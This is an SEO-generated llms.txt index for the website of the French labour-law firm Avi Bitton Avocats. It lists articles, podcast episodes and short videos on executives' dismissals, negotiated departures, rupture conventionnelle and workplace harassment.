Generated by Rank Math SEO, this is an llms.txt file designed to help LLMs better understand and index this website. # Avi Bitton Avocats Associés: Vous êtes victime d’une injustice ? Nous sommes Avocats pour vous défendre. ## Sitemaps [XML Sitemap](https://www.avibitton.com/sitemap_index.xml): Includes all crawlable and indexable pages. ## Articles - [Harcèlement moral : quel rôle joue l’arrêt maladie ?](https://www.avibitton.com/harcelement-moral-arret-maladie-cadre/): Harcèlement moral et arrêt maladie : comprendre son rôle, préserver sa santé et organiser les éléments utiles à l’analyse de la situation. - [Exit package : quels points négocier pour un cadre dirigeant ?](https://www.avibitton.com/exit-package-cadre-dirigeant-points-negociation/): Exit package du cadre dirigeant : calendrier, indemnités, rémunération variable, LTI et RSU. Les points à examiner avant de négocier. - [Contester un licenciement abusif : les réflexes du cadre](https://www.avibitton.com/contester-licenciement-abusif-cadre/): Licenciement abusif d’un cadre : documents à conserver, motif à analyser, chronologie à établir et étapes utiles pour préparer une contestation. - [Cadre dirigeant : rupture conventionnelle ou licenciement ?](https://www.avibitton.com/rupture-conventionnelle-ou-licenciement-cadre-dirigeant/): Cadre dirigeant : comparez rupture conventionnelle et licenciement, leurs procédures, leurs effets et les points à négocier avant un départ. - [Cadre supérieur licencié pour faute grave : comment réagir ?](https://www.avibitton.com/cadre-superieur-licenciement-faute-grave-reagir/): Faute grave invoquée contre un cadre supérieur : enjeux du préavis, des indemnités et des actions gratuites, et réflexes dès l’annonce. - [Licenciement d’un cadre : quels signaux doivent alerter ?](https://www.avibitton.com/licenciement-cadre-signaux-alerte-ete/): Demandes inhabituelles, mise à l’écart, reproches écrits : les signaux qui peuvent annoncer le licenciement d’un cadre et les réflexes à adopter. - [Cadres seniors : comment anticiper une mise à l’écart ?](https://www.avibitton.com/cadre-senior-anticiper-mise-ecart/): Cadres seniors : repérer la mise à l’écart, documenter les changements et préparer ses options avant que la situation se dégrade. - [Rupture conventionnelle : un cadre doit-il la demander ?](https://www.avibitton.com/rupture-conventionnelle-cadre-faut-il-demander/): Rupture conventionnelle d’un cadre : moment, négociation, indemnités, actions et préparation avant d’en faire la demande. - [Démission d’un cadre : pourquoi est-ce souvent un piège ?](https://www.avibitton.com/demission-cadre-piege-alternatives/): Démission d’un cadre : indemnités, chômage, période d’essai et alternatives à examiner avant de quitter l’entreprise. - [Sortie de la web série Droits des cadres](https://www.avibitton.com/sortie-de-la-web-serie-droits-des-cadres/): Paris, 6 avril 2026 - Le cabinet Avi Bitton lance Droits des cadres, une série IA en 11 épisodes d’une minute, réalisée par Sébastien Bonfanti, fondateur de la société de production Paradigm Films. La série suit notamment Julien, quinquagénaire et cadre dans une grande entreprise. Malgré 15 ans d’ancienneté et des résultats irréprochables, il fait l’objet d’un licenciement économique déguisé par ses employeurs. Il prend attache avec maître Avi Bitton afin d’établir une stratégie et négocier son départ dans des conditions plus équitables.  - [Départ négocié : pouvez-vous récupérer vos actions gratuites non acquises ?](https://podcast.ausha.co/droit-des-cadres/depart-negocie-pouvez-vous-recuperer-vos-actions-gratuites-non-acquises#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Négociation de départ : comment je transforme chaque dossier en succès étape par étape !](https://podcast.ausha.co/droit-des-cadres/negociation-de-depart-comment-je-transforme-chaque-dossier-en-succes-etape-par-etape#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres entre 55 et 62 ans : l’âge d’or pour négocier un départ avantageux](https://smartlink.ausha.co/droit-des-cadres/cadres-entre-55-et-62-ans-l-age-d-or-pour-negocier-un-depart-avantageux#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Comment transformer un licenciement annoncé en départ négocié avantageux ?](https://smartlink.ausha.co/droit-des-cadres/comment-transformer-un-licenciement-annonce-en-depart-negocie-avantageux#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Démissions forcées et licenciements abusifs : les calculs des grandes entreprises](https://smartlink.ausha.co/droit-des-cadres/demissions-forcees-et-licenciements-abusifs-les-calculs-des-grandes-entreprises#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : les signes d’un harcèlement au travail](https://smartlink.ausha.co/droit-des-cadres/cadres-les-signes-d-un-harcelement-au-travail#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : comment dépasser vos blocages psychologiques pour défendre vos droits](https://smartlink.ausha.co/droit-des-cadres/cadres-comment-depasser-vos-blocages-psychologiques-pour-defendre-vos-droits#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres au travail ce que les statistiques révèlent](https://smartlink.ausha.co/droit-des-cadres/cadre-au-travail-ce-que-les-statistiques-revelent#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Comment une bonne stratégie juridique influence la durée et le succès de la négociation de rupture conventionnelle](https://podcast.ausha.co/droit-des-cadres/comment-une-bonne-strategie-juridique-influence-la-duree-et-le-succes-de-la-negociation-de-rupture-conventionnelle#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Rupture conventionnelle : le bon état d’esprit pour négocier](https://podcast.ausha.co/droit-des-cadres/rupture-conventionnelle-le-bon-etat-d-esprit-pour-negocier#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Harcèlement : partir ou rester ?](https://podcast.ausha.co/droit-des-cadres/harcelement-partir-ou-rester#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Comment j’ai négocié le départ d’un cadre dirigeant en une semaine](https://podcast.ausha.co/droit-des-cadres/comment-j-ai-negocie-le-depart-d-un-cadre-dirigeant-en-une-semaine#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [De cadre à avocat en droit du travail : comment j’ai transformé l’épreuve du harcèlement en nouvelle carrière](https://podcast.ausha.co/droit-des-cadres/de-cadre-a-avocat-en-droit-du-travail-comment-j-ai-transforme-l-epreuve-du-harcelement-en-nouvelle-carriere#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [90 % des contrats cadres sont non-conformes : comment en tirer un levier juridique puissant ?](https://podcast.ausha.co/droit-des-cadres/90-des-contrats-de-travails-sont-non-conformes#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : négociation de départ, comment contrer les mensonges des RH ?](https://podcast.ausha.co/droit-des-cadres/cadres-negociation-de-depart-comment-contrer-les-mensonges-des-rh#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Négociation de départ : cadres, préparez votre dossier](https://podcast.ausha.co/droit-des-cadres/negociation-de-depart-cadres-preparez-votre-dossier#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [De menace de licenciement à départ négocié : le cas d’un directeur financier](https://podcast.ausha.co/droit-des-cadres/de-menace-de-licenciement-a-depart-negocie-le-cas-d-un-directeur-financier#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Restructuration en entreprise : comment anticiper et négocier sa sortie avec succès](https://podcast.ausha.co/droit-des-cadres/restructuration-en-entreprise-comment-anticiper-et-negocier-sa-sortie-avec-succes#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Rupture co après 50 ans : comment négocier plus et payer moins d’impôts ?](https://podcast.ausha.co/droit-des-cadres/rupture-co-apres-50-ans-comment-negocier-plus-et-payer-moins-d-impots#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Droit du travail : 3 idées reçues RH à démonter pour les cadres](https://podcast.ausha.co/droit-des-cadres/droit-du-travail-3-idees-recues-rh-a-demonter-pour-les-cadres#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : reprenez le contrôle de vos horaires (forfait jours, faux cadres-dirigeants…)](https://podcast.ausha.co/droit-des-cadres/cadres-reprenez-le-controle-de-vos-horaires#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Rupture co : négociez bien plus que l’indemnité légale](https://podcast.ausha.co/droit-des-cadres/rupture-co-comment-negocier-bien-plus-que-l-indemnite-legale#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Départ négocié : comment les manquements de votre employeur peuvent devenir vos meilleurs leviers](https://podcast.ausha.co/droit-des-cadres/depart-negocie-comment-les-manquements-de-votre-employeur-peuvent-devenir-vos-meilleurs-leviers#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : quelles sont les étapes d’une rupture co ?](https://podcast.ausha.co/droit-des-cadres/cadres-quelles-sont-les-etapes-d-une-rupture-conventionnelle#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Harcèlement au travail : quelle stratégie j’ai mis en place pour en sortir victorieux](https://podcast.ausha.co/droit-des-cadres/harcelement-au-travail-quelle-strategie-j-ai-mis-en-place-pour-en-sortir-victorieux#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Les bases d’une négociation de départ : ne craignez pas le rapport de force](https://podcast.ausha.co/droit-des-cadres/les-bases-d-une-negociation-de-depart-ne-craignez-pas-le-rapport-de-force#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Stratégie de départ : 3 erreurs à éviter avant toute négociation](https://podcast.ausha.co/droit-des-cadres/strategie-de-depart-3-erreurs-a-eviter-avant-toute-negociation#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Le licenciement pour faute : tout ce qu’il faut savoir](https://www.avibitton.com/le-licenciement-pour-faute/): Le licenciement pour faute est un procédé délicat qui peut avoir de lourdes conséquences sur la carrière des salarié·e·s et sur la vie d’une entreprise. Il repose sur un motif disciplinaire précis, qui doit être prouvé et clairement exposé au salarié concerné. Face à la diversité des fautes (professionnelles, comportementales, etc.), il est indispensable de bien saisir la définition de chaque catégorie pour comprendre les enjeux juridiques et financiers. Dans cet article, nous vous guidons étape par étape, avec l’expertise du Cabinet d’Avocats Avi Bitton Associés, spécialisé en droit du travail depuis plus de 20 ans. - [Licenciement abusif (sans cause réelle et sérieuse) : comprendre vos droits et agir efficacement](https://www.avibitton.com/licenciement-abusif-sans-cause-reelle-et-serieuse/): Un licenciement sans cause réelle et sérieuse (souvent appelé licenciement abusif) se produit lorsqu’un employeur met fin au contrat de travail d’un salarié sans respecter la législation ou sans motif valable. Il existe de nombreuses situations où ce type d’injustice apparaît : différend personnel, volonté d’exclusion ciblée ou incompréhension de la part de l’employeur. Dans tous les cas, il est essentiel de connaître ses droits pour pouvoir réagir efficacement. - [Cadres : pourquoi vous ne devez jamais démissionner](https://podcast.ausha.co/droit-des-cadres/cadres-pourquoi-vous-ne-devez-jamais-demissionner#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres supérieurs : repérez les signes précurseurs d’un licenciement](https://podcast.ausha.co/droit-des-cadres/quels-sont-les-signes-precurseurs-d-un-licenciement#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Négocier son départ : la règle d’or de la discrétion en entreprise](https://podcast.ausha.co/droit-des-cadres/negocier-son-depart-la-regle-d-or-de-la-discretion#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Cadres : les RH sont-ils vos amis ?](https://podcast.ausha.co/droit-des-cadres/cadres-les-rh-sont-ils-vos-amis#new_tab): Maître Avi Bitton, avocat en Droit du Travail depuis plus de 22 ans pour le conseil des cadres et cadres dirigeants, décrypte pour vous chaque mardi les grands sujets que tout cadre doit maîtriser : négociation de départ, rupture conventionnelle, mobilité, RH, expatriation, rémunération, harcèlement, licenciement... - [Vidéo – Victimes d’accident : attention à l’expertise médicale !](https://www.avibitton.com/video-victimes-daccident-attention-a-lexpertise-medicale/): Vous avez des questions en droit pénal ? - Le Cabinet Avi Bitton Avocats & Associés vous répond en moins de deux minutes. - [Vidéo – Cadres : vous êtes convoqué à une enquête interne](https://www.avibitton.com/video-cadres-vous-etes-convoque-a-une-enquete-interne/): En tant que cadre ou salarié, cela signifie que vous êtes potentiellement mis en cause. Maître Avi Bitton, avocat en droit du travail, vous alerte sur les conséquences possibles (sanction disciplinaire, licenciement) et l’importance de vous faire assister rapidement par un avocat pour préparer votre défense. - [Vidéo – Cadres : pourquoi je les défends ?](https://www.avibitton.com/video-cadres-pourquoi-je-les-defends/): Il raconte la réalité du quotidien sous pression : isolement, absence de tâches, perte de poids, troubles du sommeil. Grâce au soutien d’un avocat, il a pu prendre du recul, s’organiser et se défendre efficacement. Aujourd’hui, il accompagne les cadres confrontés à ces situations, fort de son expérience et de son engagement à leurs côtés. - [Vidéo – Négociation de départ : une épreuve !](https://www.avibitton.com/video-negociation-de-depart-une-epreuve/): Maître Avi Bitton explique que la négociation peut être longue et parfois déstabilisante : l’employeur peut chercher à vous accuser à tort ou jouer sur le temps. Il souligne l’importance de la patience, de la réactivité et de la collaboration entre l’avocat et son client. Un bon dossier, préparé avec sérieux et preuves à l’appui, est la clé pour bien négocier, même dans les situations les plus complexes. - [Vidéo – Cadres : harcèlement = enquête !](https://www.avibitton.com/video-cadres-harcelement-enquete/) - [Vidéo – Une drh m’a désigné comme avocat !](https://www.avibitton.com/video-une-drh-ma-designe-comme-avocat/): Vous avez des questions en droit du travail ? - Maître Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes. - [Harcèlement moral au travail : qu’est-ce que c’est ? Comment le reconnaître et réagir ?](https://www.avibitton.com/video-harcelement-moral-au-travail-quest-ce-que-cest/): Maître Avi Bitton illustre, exemples concrets à l’appui, les situations qui peuvent être reconnues comme du harcèlement moral : surcharge excessive, mise à l’écart, diminution des responsabilités, critiques dévalorisantes ou gestes déplacés. Il rappelle que le harcèlement moral se définit par des agissements répétés, reconnus par les tribunaux, et qu’il est essentiel de savoir identifier et prouver ces faits pour se protéger. - [Vidéo – Mon histoire d’avocat !](https://www.avibitton.com/video-mon-histoire-davocat/): Maître Avi Bitton partage son parcours : d’une carrière prestigieuse en droit bancaire et financier chez Clifford Chance, à un engagement fort pour la défense des salariés. Après des études à la Sorbonne et à l’Université de Londres, il a choisi de devenir représentant syndical, découvrant ainsi le droit du travail. - [Vidéo – Négociation de départ : négocier au bon moment !](https://www.avibitton.com/video-negociation-de-depart-negocier-au-bon-moment/): Dans cette vidéo courte, Maître Avi Bitton, avocat en droit du travail, vous explique pourquoi il est essentiel de négocier votre départ avant d’être affaibli par une procédure disciplinaire, une mise au placard ou un licenciement annoncé. - [Quand dénoncer le harcèlement moral au travail ? Cadres, brisez le silence](https://www.avibitton.com/video-harcelement-au-travail-comment-se-plaindre/): Pourtant, sans cette précision, l’entreprise n’est pas tenue de déclencher une enquête interne ni de protéger la victime. Maître Avi Bitton conseille de nommer clairement le harcèlement moral dans votre signalement et de se faire accompagner par un avocat pour rédiger une plainte solide et efficace. - [Vidéo – Cadre lanceur d’alerte (harcèlement, fraude…) : la loi vous protège !](https://www.avibitton.com/video-cadre-lanceur-dalerte-harcelement-fraude-la-loi-vous-protege/): Maître Avi Bitton rappelle que le cadre qui dénonce des faits de harcèlement, de fraude ou toute infraction pénale au sein de l’entreprise bénéficie d’une protection légale renforcée. Le Code du travail interdit toute sanction ou licenciement à l’encontre d’un lanceur d’alerte, qu’il soit victime ou simple témoin. - [Vidéo – Rupture conventionnelle : les entreprises négocient !](https://www.avibitton.com/video-rupture-conventionnelle-les-entreprises-negocient/): Vous avez des questions en droit du travail ? - Maître Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes. - [Vidéo – Départ négocié : on est mauvais avocat pour soi-même !](https://www.avibitton.com/video-depart-negocie-on-est-mauvais-avocat-pour-soi-meme/): En droit du travail, il est fortement déconseillé de mener seul une négociation de rupture. Comme le dit un adage bien connu des avocats : "On est un mauvais avocat pour soi-même." En tant que cadre, vous risquez de manquer de recul, surtout après 10 ou 15 ans dans la même entreprise. Émotions, attachement, pression psychologique… autant de biais qui peuvent vous faire accepter une offre désavantageuse. - [Vidéo – Négociation de départ : avec un avocat dès le début ?](https://www.avibitton.com/video-negociation-de-depart-avec-un-avocat-des-le-debut/): Vous avez des questions en droit du travail ? - Maître Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes. - [Vidéo – Départ négocié : optimisez le préavis !](https://www.avibitton.com/video-depart-negocie-optimisez-le-preavis/): Saviez-vous qu’il est possible de négocier une dispense de préavis tout en étant payé ? Vous pouvez ainsi percevoir votre ancien salaire pendant trois mois, tout en démarrant un nouvel emploi — et donc cumuler deux rémunérations sur la même période. Une stratégie simple mais puissante pour transformer 3 mois en 6 mois de revenus. - [Vidéo – Rupture conventionnelle : négocier vite et sans procès !](https://www.avibitton.com/video-rupture-conventionnelle-negocier-vite-et-sans-proces/): Pour un cadre, aller aux prud’hommes est souvent synonyme de procédure longue, coûteuse et incertaine — et les indemnités obtenues au tribunal sont fréquemment inférieures à celles négociées à l’amiable. En choisissant la voie de la négociation, vous pouvez partir rapidement, obtenir une indemnité avantageuse, protéger votre réputation grâce à une clause de confidentialité… et même repartir avec une lettre de recommandation. - [Vidéo – Départ négocié = réputation protégée !](https://www.avibitton.com/video-depart-negocie-reputation-protegee/): En cas de licenciement sans accord amiable, l’entreprise est libre de tenir des propos négatifs auprès de futurs employeurs. En revanche, une rupture négociée permet d’intégrer des clauses de confidentialité, de non-dénigrement, voire de bon renseignement. Résultat : votre réputation est protégée, et l’entreprise ne pourra dire que du bien de vous. Me Avi Bitton vous explique comment un avocat peut sécuriser votre avenir professionnel. - [Vidéo – Cadres : réorganisation = danger ! #avocat](https://www.avibitton.com/video-cadres-reorganisation-danger-avocat/): La nouvelle direction cherche souvent à réduire les effectifs, à supprimer les postes jugés redondants ou à optimiser les coûts. Si certains licenciements sont immédiats, d'autres cadres sont maintenus provisoirement pour assurer la transition… avant d’être écartés à leur tour. Si vous êtes concerné, n’attendez pas. - [Vidéo – Cadres : mise à pied brutale !](https://www.avibitton.com/video-cadres-mise-a-pied-brutale/): Invitation anodine à une réunion… et soudain, on vous notifie votre éviction. Ce scénario, Me Avi Bitton l’a vécu avec un cadre qui n’a pas vu venir la chute. Dans ce type de situation, ne soyez pas naïf : si vous sentez que l’entreprise prépare quelque chose, agissez avant qu’il ne soit trop tard. - [Vidéo – Rupture conventionnelle : l’entreprise préfère négocier avec un avocat](https://www.avibitton.com/rupture-conventionnelle-entreprise-prefere-negocier-avec-un-avocat/): C’est une erreur. En réalité, les entreprises préfèrent souvent négocier avec un avocat. Pourquoi ? Parce qu’un avocat permet de formaliser les échanges, de préserver la confidentialité des discussions, et de fluidifier les négociations via un cadre juridique clair. Les employeurs apprécient cette approche professionnelle, qui facilite un accord amiable dans de bonnes conditions. - [Vidéo – Harcèlement et discrimination : groupe Eiffage condamné !](https://www.avibitton.com/harcelement-et-discrimination-groupe-eiffage-condamne/): Maître Avi Bitton a obtenu la condamnation d’une société du groupe Eiffage pour harcèlement moral et discrimination liée au congé maternité. Dans cette affaire emblématique, une cadre promue avant son congé maternité est mise à l’écart à son retour, puis licenciée pour une prétendue insuffisance professionnelle. Le cas est allé jusqu’à la Cour d’appel de Paris. - [Vidéo – Négociation de départ : combien de temps ça dure ?](https://www.avibitton.com/negociation-de-depart-combien-de-temps-ca-dure/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Vidéo – Entretien de licenciement : l’erreur à ne pas commettre](https://www.avibitton.com/entretien-de-licenciement-erreur-a-ne-pas-commettre/): Maître Avi Bitton recommande de rester bref : plus vous argumentez, plus l’employeur peut adapter sa lettre de licenciement à vos points faibles. Contestez les griefs, mais ne détaillez pas votre défense : cela préservera vos chances devant le conseil de prud’hommes. - [Vidéo – Rupture conventionnelle : les mensonges des RH](https://www.avibitton.com/rupture-conventionnelle-les-mensonges-des-rh/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Vidéo – Cadre victime de harcèlement : demandez une enquête !](https://www.avibitton.com/cadre-victime-de-harcelement-demandez-une-enquete/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Vidéo – Cadres : en cas de départ négocié, n’oubliez pas les actions !](https://www.avibitton.com/cadres-en-cas-de-depart-negocie-n-oubliez-pas-les-actions/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Vidéo – Cadres : plan social, comment réagir ?](https://www.avibitton.com/cadres-plan-social-comment-reagir/): Maître Avi Bitton conseille de ne pas accepter d’emblée les conditions proposées. Profitez de cette période pour négocier individuellement votre départ, en dehors du plan collectif : vous pourrez ainsi obtenir des indemnités plus élevées et adaptées à votre situation personnelle. - [Vidéo – Négociation de départ / Rupture conventionnelle : avec ou sans Avocat ?](https://www.avibitton.com/negociation-de-depart-rupture-conventionnelle-avec-ou-sans-avocat/): Vous avez des questions en droit du travail ? - Maitre Avi Bitton, avocat Droit du Travail, vous répond en moins de deux minutes." - [Vidéo – Cadres en difficulté : n’attendez pas pour agir !](https://www.avibitton.com/cadres-en-difficulte-n-attendez-pas-pour-agir/): Maître Avi Bitton rappelle que l’entreprise peut préparer un dossier de licenciement pendant ce temps. Consulter un avocat en amont permet de dénoncer un harcèlement moral ou une discrimination avant d’être convoqué à l’entretien préalable, et d’optimiser ainsi vos chances de défense. - [Vidéo – Cadres : attention aux changements de direction !](https://www.avibitton.com/cadres-attention-aux-changements-de-direction/): Attention : de nouveaux dirigeants peuvent chercher à écarter les anciens cadres par des évaluations négatives, des courriels de recadrage ou des objectifs inatteignables. Maître Avi Bitton recommande de consulter un avocat dès les premiers signaux pour répondre efficacement et préparer une négociation amiable si nécessaire. - [Vidéo – 750 000€ d’indemnités pour un cadre de banque, sans procès !](https://www.avibitton.com/750000-euros-indemnites-cadre-de-banque-sans-proces/): En rédigeant une plainte pour harcèlement moral, le salarié a contraint l’entreprise à prendre des mesures immédiates ou à négocier : une stratégie efficace pour obtenir une issue favorable sans passer par les tribunaux. - [Vidéo – Salariés : peut-on enregistrer son employeur ?](https://www.avibitton.com/salaries-peut-on-enregistrer-son-employeur/): Maître Avi Bitton explique que la jurisprudence autorise désormais, dans certains cas, à utiliser un enregistrement clandestin comme preuve en justice si aucun autre moyen n’existe. Un levier important pour faire reconnaître vos droits face à l’employeur. - [Vidéo – Cadres en négociation de départ : choisir le bon avocat](https://www.avibitton.com/cadres-negociation-de-depart-choisir-bon-avocat/): Maître Avi Bitton explique qu’un bon avocat, reconnu pour ses compétences et sa capacité à négocier à l’amiable, peut convaincre l’employeur de trouver un accord rapide, évitant ainsi un long procès. Miser sur une stratégie efficace, c’est souvent la clé pour obtenir une indemnisation avantageuse sans attendre des années. - [Vidéo – Cadres : n’ayez pas peur de négocier votre départ](https://www.avibitton.com/cadres-pas-peur-de-negocier-votre-depart/): Maître Avi Bitton rassure : grâce à la clause de confidentialité, de non-dénigrement et même à la possibilité de négocier une lettre de recommandation, une rupture amiable ne porte pas préjudice à votre carrière et ne nuit pas à votre recherche d’emploi. - [Vidéo – Cadres en négociation de départ : méfiez vous des RH !](https://www.avibitton.com/cadres-negociation-de-depart-mefiez-vous-des-rh/): Maître Bitton précise que le salaire brut de référence inclut fixe, variable, primes et avantages en nature pour une rupture amiable mieux négociée. - [Vidéo – Cadres en négociation de départ : trois erreurs à éviter](https://www.avibitton.com/cadres-negociation-de-depart-trois-erreurs-a-eviter/): Cadres : pour bien négocier votre départ, évitez trois erreurs courantes : annoncer votre départ, négocier trop vite ou chercher un autre emploi trop tôt. Gardez vos leviers pour obtenir la meilleure indemnité 